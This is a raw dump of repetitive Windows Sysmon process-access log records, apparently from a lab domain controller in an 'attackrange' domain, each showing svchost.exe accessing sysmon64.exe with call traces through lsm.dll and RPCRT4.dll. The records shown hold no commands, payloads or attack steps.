09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 